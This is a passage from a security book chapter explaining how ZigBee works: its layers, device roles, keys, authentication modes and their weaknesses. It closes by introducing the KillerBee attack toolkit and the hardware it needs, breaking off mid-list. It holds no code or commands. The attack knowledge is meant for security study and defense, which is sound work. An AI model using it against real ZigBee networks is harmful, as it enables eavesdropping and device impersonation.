devices	such	as	smart	thermostats	to	other	ZigBee-enabled	devices	in	homes,	and	the
technology	used	by	building	management	groups	for	monitoring	infrastructure
components	such	as	HVAC,	gas	and	water	distribution	lines,	boilers,	lighting	controllers,
and	more.	From	an	enterprise	perspective,	ZigBee	technology	can	be	found	in	many
modern	resorts	and	hotels	for	door	lock	management	and	auditing,	as	well	as	for
environmental	monitoring	systems	in	high-end	data	centers,	reporting	on	temperature,
humidity,	smoke,	air	particulate	count,	and	other	critical	data	center	operating
characteristics.

Some	analysts	feel	that	ZigBee	also	is	in	a	strong	position	to	be	the	wireless
technology	of	choice	to	support	the	Internet	of	Things.	The	Internet	of	Things	is	a	concept
where	the	physical	objects	that	we	interact	with	on	a	regular	basis,	from	couches	to
refrigerators,	are	all	configured	with	sensors	or	controllers	that	allow	the	device	to	interact
with	the	physical	world.	As	a	low-cost,	low-power,	and	simple	technology,	designed
without	the	interests	of	a	single	proprietary	vendor	model,	ZigBee	is	a	logical	choice	to
support	this	next	generation	of	smart	device	interconnectivity.	Indeed,	we	have	already
seen	the	introduction	of	ZigBee-powered	smart	devices	in	this	model,	from	the	Google
Nest	Smart	Thermostat	to	Philips	Hue	LED	light	bulbs	to	the	Comcast	XFINITY	Home
Security	router	connecting	home	light	switches	and	other	peripherals	to	the	public
Internet.

In	this	chapter,	we’ll	review	the	functionality	of	the	ZigBee	stack,	examining	the
reasons	why	ZigBee	has	a	place	among	a	number	of	competing	wireless	protocols.	We’ll
also	look	at	the	deployment	and	use	of	ZigBee	technology	for	communication.	Over	the
past	several	years,	ZigBee	technology	has	been	extended	to	add	new	functionality	and
features,	including	significant	security	improvements,	which	we’ll	examine	along	with	the
layered	architecture	of	the	ZigBee	stack.	We’ll	also	examine	several	tools	that	can	be	used
for	attacking	ZigBee	networks,	concluding	with	a	step-by-step	attack	walkthrough
combining	multiple	tools	to	exploit	a	common	vulnerability	in	many	ZigBee	devices,
along	with	some	recommendations	on	identifying	new	ZigBee	threats	in	your	own	ZigBee
deployments.

ZigBee	Introduction



ZigBee	technology	defines	a	set	of	standards	for	low-power	wireless	networking,	with
many	devices	boasting	a	battery	life	of	up	to	five	years.	This	remarkable	power	savings	is
largely	due	to	other	concessions	in	ZigBee’s	design:	low	data-rate	transfers,	relatively
short-range	transmissions,	persistent-powered	network	coordinators	and	routers,	and	a
simple	protocol	stack	that	contributes	to	several	System-on-Chip	(SoC)	implementations
where	the	entire	ZigBee	stack,	wireless	transceiver,	and	microprocessor	are	combined	to
fit	within	a	single	integrated	circuit	(IC).

ZigBee’s	Place	as	a	Wireless	Standard
A	common	(and	important)	question	when	people	hear	about	ZigBee	is	to	ask	why	ZigBee
is	necessary.	In	a	world	with	Wi-Fi,	Bluetooth,	and	other	proprietary	solutions,	do	we	need
ZigBee	too?

The	ultimate	answer	to	this	question	will	be	decided	if	and	when	ZigBee	achieves
widespread	adoption	as	a	wireless	protocol,	though	all	signs	indicate	that	ZigBee	will
continue	to	achieve	more	success	with	a	greater	deployment	footprint.	Compared	to
Bluetooth	and	Wi-Fi,	ZigBee	is	a	significantly	simpler	protocol,	with	a	fully	functional
stack	implemented	in	120KB	of	NVRAM,	and	some	vendors	claim	to	make	reduced-
functionality	stacks	as	small	as	40KB.	Most	of	the	deployed	Wi-Fi	networks	in	use	today
still	transmit	at	speeds	up	to	54	Mbps	(excluding	IEEE	802.11n	and	802.11ac	networks);
Bluetooth	transmits	at	1–3	Mbps;	and	ZigBee	uses	a	data	rate	of	20–250	Kbps.	Most	users
report	a	relatively	short	battery	life	on	Wi-Fi	devices,	perhaps	8	to	12	hours	for	embedded
devices	such	as	Wi-Fi	VoIP	phones.	Bluetooth	Low	Energy	can	reach	comparable	battery
life,	but	offers	very	little	range	opportunity,	targeting	the	personal	area	network	market.
By	comparison,	ZigBee	technology	can	operate	for	months	or	years,	with	a	high-end	goal
of	five	years	of	service	before	a	recharge	and	achieves	a	range	of	10–100	meters	with
longer	distances	with	the	lowest-cost	radio	interface	and	the	simplest	protocol
implementation	of	the	three.

Other	wireless	protocols	such	as	Z-Wave	do	excel	at	simplicity	and	battery
conservation,	even	outperforming	ZigBee	in	some	cases.	However,	Z-Wave	is	a
proprietary	protocol,	with	required	licensing	fees	paid	to	Sigma	Designs	(the	Z-Wave
technology	copyright	owner)	for	all	products	sold.	Such	a	model	ultimately	inhibits
widespread	development	and	innovation	with	the	Z-Wave	technology,	allowing	Sigma
Designs	to	control	market	entrance	for	products.	We	discuss	Z-Wave	in	Chapter	14.

From	an	application	perspective,	ZigBee	is	not	the	right	protocol	for	high-speed	data
transfers	such	as	X-ray	imaging	or	BitTorrent	downloads.	Nor	is	ZigBee	the	right	protocol
for	real-time	audio	streaming	for	voice	conversations	where	interference	resiliency	and
audio	robustness	are	required.	Many	other	applications	and	use	cases	exist,	however,
where	neither	Wi-Fi	nor	Bluetooth	are	an	adequate	fit,	which	is	where	ZigBee	excels	as	a
wireless	protocol.

ZigBee	Deployments
One	market	where	ZigBee	technology	has	been	gaining	momentum	is	the	home
automation	market,	where	ZigBee	provides	connectivity	among	home	control	systems



such	as	electrical	appliances,	lighting	controls,	home	security	systems,	HVAC,	and	more.
Manufacturers	such	as	CentraLite	produce	ZigBee-powered	light	switches	and	dimmers
that	talk	to	smart	electrical	outlets	for	automated	control	of	home	lighting	needs.	Other
home	automation	technology	is	used	for	security	purposes;	Black	&	Decker,	maker	of
Kwikset	SmartCode	deadbolts,	produces	a	wireless	keypad	entry	system	called	Home
Connect,	using	ZigBee	from	the	door	handle	and	lock	to	communicate	with	a	backend
server	to	authorize	PIN	values,	alerting	one	or	more	people	via	SMS	when	someone	enters
their	home.

Another	influential	market	for	ZigBee	is	the	use	of	smart-grid	technology,	including
Advanced	Metering	Infrastructure	(AMI).	As	many	countries	fund	smart	electrical-grid
technology,	local	utilities	are	deploying	neighborhoodwide	wireless	networks	to
communicate	to	a	smart	electrical	meter	on	consumer	homes.	Consumers	can	get	real-time
electricity	pricing	information	on	their	ZigBee	thermostats	through	the	smart	meter	with
products	such	as	the	Google	Nest	Thermostat,	shown	here.

	

The	ZigBee	Alliance	maintains	a	list	of	products	that	have	been	certified	as	ZigBee
compliant,	sorted	by	the	markets	they	affect,	available	at	http://www.zigbee.org/.

In	addition	to	commercial	ZigBee	products,	many	organizations	develop	their	own
software	to	leverage	the	ZigBee	transport,	using	wireless	chipsets	available	from	Texas
Instruments,	Ember,	Microchip,	and	Atmel.	Many	of	these	projects	are	actively	in	use,
supporting	manufacturing	operations,	environmental	monitoring,	and	even	retail
operations	accepting	credit	card	numbers	over	the	ZigBee	wireless	transport.

ZigBee	History	and	Evolution
Although	ZigBee	technology	was	first	conceived	and	supported	from	a	development
perspective	in	1998,	it	wasn’t	until	December	2004	that	the	ZigBee	Alliance	announced
the	availability	of	the	first	ratified	ZigBee	specification	known	as	ZigBee-2004.	This
version	of	the	specification	was	well	defined,	including	many	of	the	critical	features	that

http://www.zigbee.org


would	make	ZigBee	attractive	to	organizations	in	which	rival	wireless	protocols	were	not
a	good	fit.

In	2006,	the	ZigBee	Alliance	ratified	the	ZigBee-2006	specification,	adding	critical
features	such	as	group	addressing	capabilities	where	one	device	can	send	messages	to
multiple	clients	with	a	single	frame.	Further	refinement	was	made	to	the	definition	of
ZigBee	stack	interoperability	among	software	profiles,	simplifying	the	process	of
developing	cross-platform–compatible	applications	over	ZigBee.

In	late	2007,	the	ZigBee	Alliance	ratified	a	set	of	new	ZigBee	features	dubbed	ZigBee
Pro.	ZigBee	Pro	defined	enhanced	security	features	(including	improved	key	derivation
functionality)	and	the	ability	to	send	large	messages	through	data	fragmentation.	Another
group	of	features	significant	to	ZigBee	Pro	are	scalability	enhancements	to	support
hundreds	of	thousands	of	devices	in	a	ZigBee	network,	including	an	automated	network
address	allocation	mechanism	known	as	stochastic	addressing	(randomly	selected	and
negotiated	addresses).

The	most	recent	amendment	to	the	ZigBee	specification	came	in	2012,	with	enhanced
features	designed	to	better	support	very	large	ZigBee	deployments	(including	an	extended
multihop	mesh	network	range	capability)	with	improved	node	management	and	support
mechanisms.	As	ZigBee	networks	grow	in	complexity,	so,	too,	do	the	needs	of	network
administrators	maintaining	ZigBee	deployments.	ZigBee	2012	introduced	features	for
improved	address	management,	automated	frequency	selection	to	avoid	interference,	and
group	addressing	for	packet	delivery.

As	an	optional	feature	in	ZigBee	2012,	the	ZigBee	Alliance	also	introduced	a	feature
known	as	Green	Energy.	Green	Energy	allows	devices	without	a	battery	or	other	persistent
power	source	to	participate	in	the	ZigBee	network	by	using	power	harnessed	from	other
device	actions,	such	as	turning	on	a	light	switch,	or	from	harnessing	vibrations	on	a
device.	Through	Green	Energy,	devices	join	and	interact	with	the	ZigBee	network	without
the	need	for	an	outside	power	source,	greatly	simplifying	the	deployment	of	ZigBee
devices.

ZigBee	Layers
One	of	the	mechanisms	the	ZigBee	Alliance	uses	to	keep	ZigBee	simple	is	to	leverage	a
structured	protocol	stack	that	defines	the	operation	of	the	physical	layer	(PHY),	MAC
layer	(MAC),	network	layer	(NWK),	and	application	layer	(APL),	as	shown	in	the
following	illustration.	The	ZigBee	protocol	leverages	the	PHY	and	MAC	layers	defined	in
the	IEEE	802.15.4	specification,	building	on	top	of	this	established	specification	to	define
the	ZigBee	protocol.



ZigBee	PHY	Layer
Defined	in	IEEE	802.15.4,	the	ZigBee	PHY	layer	can	operate	using	the	868	MHz
(Europe),	915	MHz	(North	and	South	America),	or	2.4	GHz	bands	(worldwide).	A	total	of
27	channels	can	be	used	throughout	all	of	these	frequencies	with	varying	data	rates,	as
shown	here.

Similar	to	IEEE	802.11,	IEEE	802.15.4	uses	Direct	Sequence	Spread	Spectrum
(DSSS).	Optional	PHY	layers	also	include	the	ability	to	use	Parallel	Sequence	Spread
Spectrum	(PSSS),	though	this	is	far	less	prevalent	than	the	mandatory	DSSS	method.

Like	Wi-Fi,	ZigBee	traffic	remains	on	a	single	frequency	unless	reconfigured	by	an
administrator.	As	a	result,	traffic	sniffing	on	ZigBee	networks,	unlike	Bluetooth,	is
straightforward.	We’ll	examine	traffic	sniffing	methods	for	ZigBee	later	in	this	chapter.

ZigBee	MAC	Layer
Also	defined	in	IEEE	802.15.4,	the	ZigBee	MAC	layer	(MAC)	includes	the	functionality



needed	to	build	extensive	ZigBee	networks,	including	the	design	of	device	interconnect
topologies,	device	roles,	packet	framing,	and	network	association	and	disassociation.

ZigBee	networks	leverage	the	concept	of	device	roles,	where	each	device	has	a	set	of
capabilities	defined	by	its	operational	role:

•		ZigBee	Trust	Center	(TC)	A	fully	functional	ZigBee	device	(FFD)
responsible	for	the	authentication	of	devices	that	join	the	ZigBee	network.	When	a
device	attempts	to	join	the	network,	the	nearest	router	notifies	the	TC	that	a	device
has	joined.	The	TC	instructs	the	router	to	authenticate	or	terminate	the	new	node’s
connection.

•		ZigBee	Coordinator	(ZC)	A	fully	functional	ZigBee	device	(FFD)
responsible	for	controlling	the	personal	area	network	(PAN)	and	performing
message	relay	on	behalf	of	other	devices.	ZigBee	Coordinators	allow	other	ZigBee
devices	to	join	them	and	participate	in	the	network.

•		ZigBee	Router	(ZR)	An	FFD	that	performs	message	relay.	ZigBee	routers
are	often	equivalent	to,	from	a	hardware	perspective,	ZigBee	Coordinators,	with
software	changes	that	defer	network	management	tasks	to	the	ZigBee	Coordinator.
ZigBee	Routers	allow	other	ZigBee	devices	to	join	them	and	participate	in	the
network.

•		ZigBee	End	Device	(ZED)	A	reduced-functionality	ZigBee	device	(RFD)
that	participates	in	the	ZigBee	network	but	cannot	relay	frames	for	other	devices.
No	devices	can	connect	to	a	ZigBee	End	Device;	ZigBee	End	Devices	only
connect	to	ZigBee	Routers	or	ZigBee	Coordinators.

While	every	ZigBee	network	has	one	Coordinator	device,	the	network	architecture
influences	the	need	for	additional	ZigBee	Router	devices.	ZigBee	networks	can	be
deployed	in	a	star	or	mesh	topology,	as	shown	here.	ZigBee	Routers	are	essential	to	build
and	bridge	traffic	to	and	from	downstream	nodes	(such	as	to	and	from	ZigBee	devices	or
other	ZigBee	Routers),	whereas	the	ZigBee	Coordinator	manages	the	network	operation.

One	of	the	mechanisms	that	allows	ZigBee	to	maintain	such	a	long	battery	life	is	the
ability	to	enter	a	sustained	period	of	inactivity	known	as	sleep	mode,	in	which	the	ZigBee
device	can	shut	down	all	transceiver	functions	for	a	period	of	microseconds	to	hours.	At
any	time,	a	ZigBee	device	can	wake	from	sleep	mode	and	begin	communicating	with	a



ZigBee	Coordinator	or	Router	node	on	the	network,	returning	to	sleep	mode	once	the	data
exchange	has	been	completed.	Due	to	the	need	to	be	ready	to	receive	data	from	ZigBee
devices	at	any	time,	ZigBee	Coordinators	and	Routers	may	not	enter	power	conservation
mode	and,	as	a	result,	are	generally	deployed	with	persistent	power	sources.

Unlike	Wi-Fi	and	Bluetooth,	a	small	number	of	frame	types	are	used	to	carry	ZigBee
traffic	at	the	MAC	layer:

•		Beacon	frames	Beacons	are	used	to	scan	the	network	for	potential	routers	or
coordinators.

•		Data	frames	Data	frames	are	used	to	exchange	arbitrary	data	among	devices,
with	a	maximum	payload	size	of	114	bytes,	depending	on	the	MAC	header
options	used.

•		Acknowledgement	frames	If	desired,	the	transmitting	device	may	request
positive	acknowledgment	from	the	recipient	of	a	frame.	Acknowledgement	frames
are	used	to	indicate	that	a	frame	was	successfully	received.

•		Command	frames	Command	frames	in	ZigBee	are	nearly	analogous	to
IEEE	802.11	management	frames,	responsible	for	controlling	network	operations
such	as	association,	disassociation,	PAN	ID	conflict	resolution,	and	pending	data
delivery	requests.

The	IEEE	802.15.4	MAC	frame	format	used	by	ZigBee	is	shown	in	Figure	13-1.	The
format	of	the	MAC	header	can	change,	depending	on	the	options	set	in	the	frame	control
header	bits,	including	the	presence	and	length	of	address	fields	for	the	source	and
destination	nodes	and	source	and	destination	PAN	IDs,	as	well	as	the	presence	of	security
attributes	specified	in	the	auxiliary	security	header	field.

Figure	13-1	IEEE	802.15.4	MAC	frame	format

Network	Layer
The	ZigBee	Network	layer	(NWK)	is	defined	solely	in	the	ZigBee	specification	and	is
responsible	for	upper-layer	tasks	such	as	network	formation,	device	discovery,	address
allocation,	and	routing.

Network	formation	is	the	process	whereby	an	FFD	device	establishes	itself	as	the
network	Coordinator.	Through	device	discovery,	the	Coordinator	must	select	a	suitable
channel,	generally	selecting	one	with	the	fewest	number	of	ZigBee	networks	present,	and
a	PAN	ID	from	a	random	value	that	does	not	conflict	with	any	other	PAN	IDs	currently	in
use.	Once	the	Coordinator	has	been	established,	it	can	respond	to	network	association
requests	from	ZigBee	devices	and	Routers	that	wish	to	join	the	network.	When	a	node
joins	the	ZigBee	network,	the	Coordinator	issues	a	16-bit	NWK	address	to	devices.



Application	Layer
The	Application	layer	(APL)	is	the	highest	layer	defined	by	the	ZigBee	specification,
specifying	the	operation	and	interface	for	application	objects	that	define	a	ZigBee	device’s
functionality.	Application	objects	are	developed	by	the	ZigBee	Alliance	as	standard
functionality	profiles,	or	are	developed	by	manufacturers	for	proprietary	device
functionality	using	the	APL	as	the	mechanism	to	communicate	with	the	lower	layers	of	the
ZigBee	stack.	A	single	ZigBee	device	can	support	up	to	240	application	objects.

The	ZigBee	Device	Object	(ZDO)	layer	is	present	in	all	ZigBee	devices	and	is
responsible	for	providing	the	functionality	interface	that	is	required	in	all	ZigBee	devices,
including	setting	the	ZigBee	role	(Coordinator,	Router,	or	End	Device),	security	services
such	as	setting	and	removing	encryption	keys,	and	network	management	services	such	as
association	and	disassociation.	The	ZDO	layer	defines	a	special	profile	known	as	the
ZigBee	Device	Profile	(ZDP)	using	the	reserved	ZigBee	application	endpoint	zero	(0).

The	Application	Support	Sublayer	(APS)	provides	essential	functionality	to
application	profiles	over	ZigBee.	Through	APS,	a	ZigBee	application	profile	can	request
the	delivery	and	reception	of	data	over	the	wireless	transport	systems,	including	the	option
of	specifying	reliable	data	delivery.	From	an	APS	perspective,	reliable	data	delivery
requires	not	only	that	the	transmitter	receive	an	acknowledgment	message	in	response	to
the	frame,	but	also	that	a	route	exists	between	the	source	and	the	destination	and	that	the
lower-layer	ZigBee	functionality	is	able	to	process	and	deliver	the	frame	successfully.

ZigBee	Profiles
In	addition	to	the	ZigBee	specification	itself,	the	ZigBee	Alliance	assembles	working
groups	made	up	of	ZigBee	Alliance	members	for	the	development	of	ZigBee	profiles.
ZigBee	profiles	define	the	actual	functionality	of	a	ZigBee	device,	including
interoperability	testing	plans	that	can	be	used	to	certify	devices	for	a	specific	ZigBee
profile.

Examples	of	completed	or	in-progress	ZigBee	profiles	include	the	following:

•		ZigBee	Building	Automation	(ZBA)	Provides	functionality	to	measure	and
manage	lighting	ballasts,	lighting	management	systems,	occupancy	sensors,	and
other	devices	common	for	commercial	buildings.

•		ZigBee	Home	Automation	(AHA)	Implements	technology	for	automated
residential	management,	including	lighting,	HVAC,	shading,	and	home	security
alarm	systems.

•		Health	Care	Profile	(HCP)	Supports	noninvasive	healthcare	operations,
including	blood	pressure	meters,	pulse	monitors,	and	electrocardiographs,
interfacing	these	devices	with	traditional	networking	interfaces	for	data	upload
and	remote	monitoring.

•		Light	Link	(ZLL)	Implements	a	simple	profile	for	the	control	of	LED
fixtures,	light	bulbs,	timers,	remotes,	and	switches	in	a	deployment	form	factory
that	is	as	“easy-to-use	as	a	common	dimmer	switch”	(http://zigbee.org/zigbee-for-

http://zigbee.org/zigbee-for-developers/applicationstandards/zigbee-light-link


developers/applicationstandards/zigbee-light-link).

•		Internet	Protocol	(ZIP)	Implements	IPv6	over	ZigBee	networks	with	added
features	for	security	(TLS	1.2),	compression,	self-healing	mesh	network	support,
and	interoperability	with	the	global	IPv6	network	standard.

•		Smart	Energy	Profile	(SEP)	Implements	home	area	networking	(HAN)	for
interfacing	a	smart	thermostat	and	smart	appliances	in	a	home	with	real-time
electricity	cost	and	remote	utility	management	and	shutoff	(load	control).

With	many	more	public	ZigBee	profiles	available	and	a	number	of	private	profiles
developed	for	proprietary	technology	requirements,	ZigBee	continues	to	grow	in
functionality	and	deployment	numbers.	Looking	at	ZigBee’s	functionality	and	intended
use,	clearly	this	protocol	also	needs	a	security	stack	to	accompany	the	features	it	can
provide.

ZigBee	Security
The	ZigBee	specification	includes	features	designed	to	protect	the	confidentiality	and
integrity	of	wireless	communications	using	AES	encryption	and	device	and	data
authentication	using	a	network	key.	To	satisfy	the	varying	security	needs	of	ZigBee
devices,	two	operational	security	modes	have	been	defined:

•		Standard	security	mode	Formerly	known	as	residential	security	mode,
standard	security	mode	provides	authentication	of	ZigBee	nodes	using	a	single
shared	key	where	the	Trust	Center	authorizes	devices	through	the	use	of	an	Access
Control	List	(ACL).	This	mode	is	less	resource	intensive	for	devices,	since	each
device	on	the	network	is	not	required	to	maintain	a	list	of	all	device	authentication
credentials.

•			High	security	mode	Formerly	known	as	commercial	security	mode,	high
security	mode	requires	that	a	single	device	in	the	ZigBee	network,	known	as	the
Trust	Center,	keep	track	of	all	the	encryption	and	authentication	keys	used	on	the
network,	enforcing	policies	for	network	authentication	and	key	updates.	The	Trust
Center	device	must	have	sufficient	resources	to	keep	track	of	the	authentication
credentials	used	on	the	network	and	represents	a	single	point	of	failure	for	the
entire	ZigBee	network,	since,	if	it	fails,	no	devices	will	be	permitted	to	join	the
network.

Rules	in	the	Design	of	ZigBee	Security
The	ZigBee	specification	defines	several	principles	influencing	the	security	of	ZigBee
communication:

•		Each	layer	that	originates	a	frame	is	responsible	for	securing	it.	If	the	APL
layer	requires	that	the	data	be	secure,	then	the	APL	layer	will	protect	the	data.	The
APL	and	NWK	layers	can	both	independently	protect	a	frame	with	encryption	and
authenticity	checks.



•		If	protection	from	unauthorized	access	is	required,	then	NWK	layer	security
will	be	used	on	all	frames	following	association	and	key	derivation.	NWK	layer
security	provides	confidentiality	and	integrity	controls	to	the	upper	layers	that
follow	the	NWK	header.

•		An	open	trust	model	is	used	within	a	single	device	where	key	reuse	is
permitted	between	layers	(e.g.,	the	NWK	and	APL	layers	can	use	the	same	AES
keys).

•		End-to-end	security	is	accommodated	such	that	only	a	source	and	a
destination	device	are	able	to	decrypt	a	message.

•		As	required	for	the	specification’s	simplicity,	the	same	security	level	must	be
used	by	all	the	devices	in	the	network	and	by	all	layers	of	a	device.

With	these	design	principles	in	mind,	we	will	examine	the	use	of	encryption	and
authentication	mechanisms	in	ZigBee	devices.

ZigBee	Encryption
ZigBee	leverages	128-bit	AES	encryption	to	protect	data	confidentiality	and	integrity.
Many	publications	state	that	because	ZigBee	uses	AES,	it	gets	a	rating	of	“strong
security,”	but	little	else	is	said	about	the	details	surrounding	the	particulars	of	how	AES	is
used.	By	itself,	simply	using	AES	is	not	a	sufficient	claim	of	security	(though	it’s	a	good
start),	and	there	are	plenty	of	opportunities	to	leverage	AES	in	an	insecure	manner.	We’ll
explore	some	of	these	issues	and	how	the	ZigBee	Alliance	implements	technology
surrounding	the	use	of	AES	encryption.

ZigBee	Keys
The	ZigBee	specification	provides	for	three	types	of	keys	to	manage	network	security:

•		Master	key	Optional	in	all	but	the	ZigBee	Pro	stack,	the	master	key	is	used
in	conjunction	with	the	ZigBee	Symmetric	Key-Key	Establishment	(SKKE)
process	to	derive	other	keys.

•			Network	key	The	network	key	is	used	to	protect	the	confidentiality	and
integrity	of	broadcast	and	group	traffic,	as	well	as	for	authenticating	to	the
network.	This	key	is	common	among	all	nodes	in	the	network.	The	network	key
can	be	distributed	to	a	device	in	plaintext	when	it	joins	the	network	or	when	the
key	is	rotated	in	standard	security	environments;	over-the-air	transport	of	key
material	is	forbidden	in	high	security	mode.

•		Link	key	The	link	key	is	used	to	protect	the	confidentiality	and	integrity	of
unicast	traffic	between	two	devices.	Like	the	network	key,	the	link	key	can	be
distributed	in	plaintext	only	in	standard	security	environments.

To	encrypt	and	protect	the	integrity	of	ZigBee	frames,	the	network	key	is	required	for
all	nodes,	though	the	link	key	can	be	used	to	protect	end-to-end	conversations	between
two	devices.	A	single	device	may	have	many	link	keys	for	each	of	the	end-to-end
conversations	it	is	protecting.



Key	Provisioning
A	significant	challenge	in	the	secure	deployment	of	ZigBee	networks	is	the	process	of
provisioning,	rotating,	and	revoking	keys	on	devices.	In	ZigBee	Pro,	an	administrator	can
use	the	SKKE	method	to	derive	the	network	and	link	keys	on	devices,	although	this
requires	the	devices	already	have	a	master	key	provisioned	on	the	Trust	Center	and	the
device	joining	the	network.	Two	alternative	key	provisioning	methods	are	also	available:

•		Key	transport	In	this	provisioning	method,	the	network	key	and,	potentially,
the	link	key	are	sent	in	plaintext	over	the	wireless	network	to	the	device	when	it
joins	the	network.	Because	the	keys	are	sent	in	plaintext,	an	attacker	can
eavesdrop	on	the	network	and	capture	the	link	key,	using	it	to	decrypt	all	traffic	or
impersonate	a	legitimate	device.

•		Pre-installation	The	administrator	preconfigures	all	devices	with	the	desired
encryption	keys,	such	as	in	the	manufacturing	process	at	a	factory.	This	process	is
challenging	because	it	is	difficult	to	accommodate	key	revocation	and	rotation
methods,	requiring	manual	changes	to	each	ZigBee	device	any	time	the	network
or	link	keys	change.

ZigBee	Authenticity
ZigBee	accommodates	the	capability	to	provide	authenticity	controls	over	each	frame,
using	a	modified	version	of	the	AES-CCM	(Counter	Mode	with	Cipher	Block	Chaining
Message	Authentication	Code)	known	as	CCM*.	CCM*	differs	from	traditional	AES-
CCM	in	that	CCM*	can	be	used	to	provide	encryption-only,	integrity-only,	or	both
encryption	and	integrity	controls.

Integrity	controls	provide	the	ability	to	validate	a	frame’s	contents	at	the	recipient,
which	is	known	as	a	Message	Integrity	Check	(MIC).	Depending	on	the	network’s	security
requirements,	a	longer	MIC	may	be	used	to	defeat	brute-force	attacks,	where	an	attacker
modifies	a	frame	and	attempts	to	retransmit	it	with	a	valid	MIC,	at	the	cost	of	the	frame
length	and	CPU	cycles.	In	some	cases,	integrity	protection	may	not	be	required	at	all,
which	is	an	option	for	ZigBee	networks.

ZigBee	Authentication
Three	methods	are	available	for	authenticating	the	identity	of	a	device	joining	a	ZigBee
network:	MAC	address	validation	through	Access	Control	Lists	(ACL	mode)	and	two
forms	of	Trust	Center	authentication	used	for	standard	and	high	security	modes.

In	ACL	mode,	a	node	is	able	to	identify	the	other	devices	it	wants	to	communicate	with
by	their	MAC	addresses.	A	list	of	authorized	devices	is	maintained	on	each	node	enforcing
this	security	model.	When	combined	with	available	CCM*	integrity	protection
mechanisms,	ACL	mode	can	provide	a	reasonable	level	of	device	identity	authentication
because	knowing	the	network	or	link	key	is	required	to	impersonate	a	device	(though	ACL
mode	is	not	required	to	also	use	CCM*	integrity	protection).	The	challenge	in	ACL	mode
is	the	issue	of	maintaining	a	list	of	MAC	addresses	on	each	device,	which	can	be
operationally	challenging	(updating	the	device	list	each	time	a	new	device	is	added	to	the



network)	and	requires	additional	system	resources	for	NVRAM	and	RAM	to	store	and
process	the	list.

In	standard	security	networks,	before	a	node	is	allowed	to	join	the	network,	the	Trust
Center	must	specifically	grant	the	node	access	by	issuing	it	a	network	key.	When	the
Router	or	End	Device	starts	the	network	join	procedure,	it	will	wait	to	receive	a	key
notification	message	from	the	Trust	Center	before	communicating	with	other	devices.	If	a
network	key	is	already	provisioned	on	the	device	(such	as	for	pre-installation	key
establishment),	the	Trust	Center	will	send	a	dummy	network	key	of	all	zeros	to	the	node,
indicating	that	it	may	communicate	on	the	network.	If	the	node	does	not	have	an
established	network	key,	the	Trust	Center	will	issue	the	key	in	plaintext	using	the	key-
transport	mechanism.	After	receiving	the	key,	the	node	is	free	to	communicate	with	other
networked	devices.	In	the	event	that	the	Trust	Center	does	not	want	to	authorize	the	node
(for	example,	it	does	not	meet	the	requirements	of	a	MAC	address	ACL	on	the	Trust
Center),	the	Trust	Center	can	issue	a	disconnect	message	to	the	node.

	

No	mutual	authentication	is	used	in	standard	security	ZigBee	authentication.	The
authenticating	node	accepts	the	identity	of	the	Trust	Center	for	the	delivery	of	the	network
key	without	performing	any	validity	check	to	verify	the	identity	of	the	network.	An
attacker	is	free	to	impersonate	a	legitimate	network	by	using	the	same	PAN	ID	as	the
target,	potentially	on	a	different	channel.

In	high	security	networks,	the	network	key	cannot	be	sent	in	plaintext.	When	a	node
attempts	to	authenticate,	the	Trust	Center	and	the	node	use	the	master	key	with	the	SKKE
method	to	derive	the	network	key.	If	the	node	does	not	already	know	the	master	key,	it	can
be	sent	in	plaintext	to	the	node,	creating	a	moment	of	vulnerability	on	the	network.

SKKE	is	a	four-step	process	using	a	standard	challenge-response	mechanism	between
the	initiator	and	the	responder,	validating	the	knowledge	of	the	master	key	on	both
devices,	without	disclosing	the	master	key	itself.	Following	the	completion	of	the	SKKE
four-way	handshake,	the	node	and	the	Trust	Center	can	derive	link	keys,	which	can	then
be	used	to	protect	the	delivery	of	the	network	key	to	the	node.

So	far	we’ve	examined	the	operation	and	functionality	of	ZigBee,	identifying	some	of
the	use	cases	and	details	surrounding	the	operation	of	this	protocol.	Next,	we’ll	look	at	the
available	tools	designed	to	attack	and	exploit	ZigBee	networks.

ZigBee	Attacks
When	this	book	was	published	in	2010,	the	authors	introduced	KillerBee,	the	first	suite	of
attack	tools	against	ZigBee	and	IEEE	802.15.4	networks.	Since	that	time,	the	project
maintenance	for	KillerBee	has	been	turned	over	to	the	remarkably	talented	Ryan	Speers
and	Ricky	Melgares	and	continues	to	be	the	preeminent	source	of	ZigBee	hacking	tools.



In	this	section,	we’ll	look	at	the	functionality	of	the	KillerBee	framework	and	cover
several	of	the	tools	that	are	made	available,	including	new	features	and	attack	techniques
published	since	the	second	edition	of	this	book.

Introduction	to	KillerBee
KillerBee	is	a	Python-based	framework	for	manipulating	ZigBee	and	IEEE	802.15.4
networks	available	at	http://killerbee.googlecode.com.	Written	and	tested	on	Linux
systems,	the	project	is	free	and	open	source	with	the	goal	of	simplifying	common	attack
tasks	while	empowering	other	Python	tools	for	use	in	exploring	ZigBee	security.	KillerBee
includes	a	handful	of	specific	attack	tools	developed	using	this	framework,	both	for
practical	attacks	and	to	demonstrate	the	use	of	the	framework.

Building	a	KillerBee	Toolkit
KillerBee	is	designed	to	operate	using	a	variety	of	supported	hardware	devices.
Unfortunately,	no	simple	hardware	options	are	suitable	for	interacting	with	and	attacking
ZigBee	and	IEEE	802.15.4	networks.	We	walk	through	the	steps	to	configure	a	USB	IEEE
802.15.4	radio	interface	for	use	with	KillerBee	today,	and	point	out	some	other	hardware
options	currently	in	development	that	may	be	readily	available	for	KillerBee	use	after	this
book	goes	to	print.

To	start	using	the	KillerBee	toolkit	to	its	full	capabilities,	a	few	components	are
necessary	for	building	your	toolkit,	including	the	following	hardware	and	software:

•		Atmel	RZ	Raven	USB	stick	(hardware)

•		Atmel	AVR	Dragon	on-chip	programmer	(hardware)

•		Atmel	100-mm	to	50-mm	JTAG	standoff	adapter	(hardware)

•		50-mm	male-to-male	header	(hardware)

•		10-pin	(2×5)	100-mm	female-to-female	ribbon	cable	(or	10	jumpers,
hardware)

•		AVRDUDE	utility	(software,	free)

•		KillerBee	firmware	for	the	RZUSBstick	(software,	free)

•		A	Windows	or	Linux	host	for	programming	the	RZ	Raven	USB	Stick	(one-
time	operation)

Let’s	look	at	each	of	these	requirements	in	more	detail.

	

If	you	have	an	RZUSBstick,	you	can	still	use	KillerBee	without	updating	the	firmware,
but	you	are	limited	to	sniffer-only	functions	and	cannot	inject	packets	into	the	network	or
impersonate	legitimate	ZigBee	networks.

http://killerbee.googlecode.com


Atmel	RZ	Raven	USB	Stick	To	interact	with	a	ZigBee	network,	you	need	a	hardware
device	that	supports	the	IEEE	802.15.4	standard.	While	KillerBee	is	intended	to	support
multiple	hardware	devices	to	interact	with	2.4	GHz,	915	MHz,	and	868	MHz	devices,	the
